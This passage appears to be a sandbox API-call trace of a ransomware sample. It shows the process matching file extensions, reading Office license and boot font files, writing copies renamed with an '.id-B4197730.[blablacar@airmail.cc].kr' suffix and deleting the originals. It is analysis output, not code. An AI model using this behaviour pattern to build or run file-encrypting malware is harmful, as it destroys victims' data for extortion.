(lpString1=".zip", lpString2="m-ms") returned -1 [0217.075] lstrlenW (lpString=".rar") returned 4 [0217.075] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0217.075] lstrlenW (lpString=".bz2") returned 4 [0217.075] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0217.075] lstrlenW (lpString=".7z") returned 3 [0217.075] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0217.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms") returned 81 [0217.075] lstrlenW (lpString=".dbf") returned 4 [0217.075] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0217.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms") returned 81 [0217.075] lstrlenW (lpString=".1cd") returned 4 [0217.075] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0217.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms") returned 81 [0217.075] lstrlenW (lpString=".jpg") returned 4 [0217.075] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0217.076] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0217.076] lstrlenW (lpString="ProjectStdVL_KMS_Client-ppd.xrm-ms") returned 34 [0217.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0217.077] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=6798) returned 1 [0217.077] CloseHandle (hObject=0x478) returned 1 [0217.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ppd.xrm-ms")) returned 0x220 [0217.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0217.078] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.078] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0217.079] GetLastError () returned 0x0 [0217.079] ReadFile (in: hFile=0x478, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x1a8e, lpOverlapped=0x0) returned 1 [0217.081] WriteFile (in: hFile=0x474, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x1a90, lpOverlapped=0x0) returned 1 [0217.082] ReadFile (in: hFile=0x478, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.082] WriteFile (in: hFile=0x474, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x118, lpOverlapped=0x0) returned 1 [0217.082] SetEndOfFile (hFile=0x474) returned 1 [0217.083] CloseHandle (hObject=0x474) returned 1 [0217.083] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.083] SetEndOfFile (hFile=0x478) returned 1 [0217.085] CloseHandle (hObject=0x478) returned 1 [0217.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ppd.xrm-ms")) returned 1 [0217.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms") returned 84 [0217.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms") returned 84 [0217.087] lstrlenW (lpString=".doc") returned 4 [0217.087] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0217.087] lstrlenW (lpString=".docx") returned 5 [0217.087] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0217.087] lstrlenW (lpString=".pdf") returned 4 [0217.087] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0217.087] lstrlenW (lpString=".xls") returned 4 [0217.087] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0217.087] lstrlenW (lpString=".xlsx") returned 5 [0217.087] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0217.087] lstrlenW (lpString=".ppt") returned 4 [0217.087] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0217.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms") returned 84 [0217.087] lstrlenW (lpString=".zip") returned 4 [0217.087] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0217.087] lstrlenW (lpString=".rar") returned 4 [0217.087] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0217.087] lstrlenW (lpString=".bz2") returned 4 [0217.087] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0217.087] lstrlenW (lpString=".7z") returned 3 [0217.087] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0217.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms") returned 84 [0217.087] lstrlenW (lpString=".dbf") returned 4 [0217.087] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0217.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms") returned 84 [0217.087] lstrlenW (lpString=".1cd") returned 4 [0217.087] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0217.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms") returned 84 [0217.087] lstrlenW (lpString=".jpg") returned 4 [0217.088] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0217.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms") returned 84 [0217.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms") returned 84 [0217.088] lstrlenW (lpString=".doc") returned 4 [0217.088] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0217.088] lstrlenW (lpString=".docx") returned 5 [0217.088] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0217.088] lstrlenW (lpString=".pdf") returned 4 [0217.088] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0217.088] lstrlenW (lpString=".xls") returned 4 [0217.088] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0217.088] lstrlenW (lpString=".xlsx") returned 5 [0217.088] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0217.088] lstrlenW (lpString=".ppt") returned 4 [0217.088] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0217.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms") returned 84 [0217.088] lstrlenW (lpString=".zip") returned 4 [0217.088] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0217.088] lstrlenW (lpString=".rar") returned 4 [0217.088] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0217.088] lstrlenW (lpString=".bz2") returned 4 [0217.088] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0217.088] lstrlenW (lpString=".7z") returned 3 [0217.088] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0217.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms") returned 84 [0217.089] lstrlenW (lpString=".dbf") returned 4 [0217.089] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0217.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms") returned 84 [0217.089] lstrlenW (lpString=".1cd") returned 4 [0217.089] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0217.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms") returned 84 [0217.089] lstrlenW (lpString=".jpg") returned 4 [0217.089] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0217.089] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0217.089] lstrlenW (lpString="ProjectStdVL_KMS_Client-ul-oob.xrm-ms") returned 37 [0217.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0217.090] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11634) returned 1 [0217.090] CloseHandle (hObject=0x478) returned 1 [0217.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0217.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0217.090] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.090] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0217.091] GetLastError () returned 0x0 [0217.091] ReadFile (in: hFile=0x478, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d72, lpOverlapped=0x0) returned 1 [0217.093] WriteFile (in: hFile=0x474, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0217.094] ReadFile (in: hFile=0x478, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.094] WriteFile (in: hFile=0x474, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11e, lpOverlapped=0x0) returned 1 [0217.094] SetEndOfFile (hFile=0x474) returned 1 [0217.094] CloseHandle (hObject=0x474) returned 1 [0217.094] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.094] SetEndOfFile (hFile=0x478) returned 1 [0217.097] CloseHandle (hObject=0x478) returned 1 [0217.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.097] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ul-oob.xrm-ms")) returned 1 [0217.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0217.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0217.098] lstrlenW (lpString=".doc") returned 4 [0217.098] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0217.098] lstrlenW (lpString=".docx") returned 5 [0217.098] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0217.098] lstrlenW (lpString=".pdf") returned 4 [0217.098] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0217.098] lstrlenW (lpString=".xls") returned 4 [0217.098] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0217.098] lstrlenW (lpString=".xlsx") returned 5 [0217.098] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0217.098] lstrlenW (lpString=".ppt") returned 4 [0217.099] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0217.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0217.099] lstrlenW (lpString=".zip") returned 4 [0217.099] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0217.099] lstrlenW (lpString=".rar") returned 4 [0217.099] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0217.099] lstrlenW (lpString=".bz2") returned 4 [0217.099] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0217.099] lstrlenW (lpString=".7z") returned 3 [0217.099] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0217.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0217.099] lstrlenW (lpString=".dbf") returned 4 [0217.099] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0217.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0217.099] lstrlenW (lpString=".1cd") returned 4 [0217.099] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0217.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0217.099] lstrlenW (lpString=".jpg") returned 4 [0217.099] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0217.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0217.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0217.099] lstrlenW (lpString=".doc") returned 4 [0217.099] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0217.099] lstrlenW (lpString=".docx") returned 5 [0217.099] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0217.099] lstrlenW (lpString=".pdf") returned 4 [0217.099] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0217.099] lstrlenW (lpString=".xls") returned 4 [0217.099] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0217.099] lstrlenW (lpString=".xlsx") returned 5 [0217.099] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0217.099] lstrlenW (lpString=".ppt") returned 4 [0217.099] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0217.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0217.100] lstrlenW (lpString=".zip") returned 4 [0217.100] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0217.100] lstrlenW (lpString=".rar") returned 4 [0217.100] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0217.100] lstrlenW (lpString=".bz2") returned 4 [0217.100] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0217.100] lstrlenW (lpString=".7z") returned 3 [0217.100] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0217.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0217.100] lstrlenW (lpString=".dbf") returned 4 [0217.100] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0217.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0217.100] lstrlenW (lpString=".1cd") returned 4 [0217.100] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0217.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms") returned 87 [0217.100] lstrlenW (lpString=".jpg") returned 4 [0217.100] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0217.100] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0217.100] lstrlenW (lpString="ProjectStdVL_KMS_Client-ul.xrm-ms") returned 33 [0217.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0217.250] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=9626) returned 1 [0217.250] CloseHandle (hObject=0x378) returned 1 [0217.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ul.xrm-ms")) returned 0x220 [0217.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ul.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 43 os_tid = 0xe3c [0174.604] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x3c60050 [0174.604] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x3c70058 [0174.605] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a498 [0174.605] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x4bcc98 [0174.605] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a588 [0174.605] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x3e6f020 [0174.607] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a648 [0174.607] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a648, Size=0x20) returned 0x45dd58 [0174.607] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a5a0 [0174.607] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a5a0, Size=0x20) returned 0x45dbf0 [0174.608] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0174.608] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0174.608] Wow64DisableWow64FsRedirection (in: OldValue=0x327ff50 | out: OldValue=0x327ff50*=0x0) returned 1 [0174.608] lstrlenW (lpString="kernel32.dll") returned 12 [0174.608] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45dd58 | out: hHeap=0x420000) returned 1 [0174.608] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.608] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45dbf0 | out: hHeap=0x420000) returned 1 [0174.608] Sleep (dwMilliseconds=0x64) [0174.880] Sleep (dwMilliseconds=0x64) [0175.125] Sleep (dwMilliseconds=0x64) [0175.436] Sleep (dwMilliseconds=0x64) [0175.703] lstrcmpiW (lpString1=".ttf", lpString2=".kr") returned 1 [0175.703] lstrlenW (lpString="segoen_slboot.ttf") returned 17 [0175.703] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0175.704] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=85862) returned 1 [0175.704] CloseHandle (hObject=0x344) returned 1 [0175.704] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0x20 [0175.705] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0175.705] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.705] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0175.705] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0175.705] lstrlenW (lpString=".doc") returned 4 [0175.705] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0175.705] lstrlenW (lpString=".docx") returned 5 [0175.705] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0175.705] lstrlenW (lpString=".pdf") returned 4 [0175.705] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0175.705] lstrlenW (lpString=".xls") returned 4 [0175.705] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0175.705] lstrlenW (lpString=".xlsx") returned 5 [0175.705] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0175.705] lstrlenW (lpString=".ppt") returned 4 [0175.705] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0175.705] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0175.705] lstrlenW (lpString=".zip") returned 4 [0175.705] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0175.705] lstrlenW (lpString=".rar") returned 4 [0175.705] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0175.705] lstrlenW (lpString=".bz2") returned 4 [0175.705] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0175.705] lstrlenW (lpString=".7z") returned 3 [0175.705] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0175.705] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0175.705] lstrlenW (lpString=".dbf") returned 4 [0175.706] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0175.706] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0175.706] lstrlenW (lpString=".1cd") returned 4 [0175.706] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0175.706] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0175.706] lstrlenW (lpString=".jpg") returned 4 [0175.706] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0175.706] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0175.706] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0175.706] lstrlenW (lpString=".doc") returned 4 [0175.706] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned 